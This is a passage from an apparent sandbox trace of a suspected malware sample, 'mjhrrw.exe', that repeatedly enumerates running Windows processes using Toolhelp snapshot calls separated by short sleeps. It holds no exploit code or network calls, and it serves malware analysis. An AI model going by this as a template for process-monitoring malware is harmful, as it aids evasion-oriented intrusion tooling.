(in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.902] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.902] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.903] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.903] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.904] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.904] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.905] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.906] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0263.906] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0263.907] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0263.907] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0263.908] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.909] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0263.909] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.910] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0263.910] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0263.911] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.912] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0263.912] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0263.913] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0263.914] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.914] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0263.932] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.933] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.933] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.934] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0263.934] CloseHandle (hObject=0x390) returned 1 [0263.934] Sleep (dwMilliseconds=0x1f4) [0264.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0264.648] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.648] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.649] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.649] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.650] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.650] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.651] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.651] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.652] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.653] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.653] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.654] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.654] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.655] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.656] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.656] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.657] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.658] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.658] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.659] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.659] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.660] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.661] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.661] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.662] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.663] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.663] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.664] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0264.665] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0264.665] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0264.666] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.667] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.667] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.668] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.668] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.669] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.669] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.669] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0264.670] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0264.670] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0264.671] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.672] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0264.672] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.673] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.673] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.674] Process32NextW (in: hSnapshot=0x3b0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0264.674] CloseHandle (hObject=0x3b0) returned 1 [0264.674] Sleep (dwMilliseconds=0x1f4) [0265.486] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0265.492] Process32FirstW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.493] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.493] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.494] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.495] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.495] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.496] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.497] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.498] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.499] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, 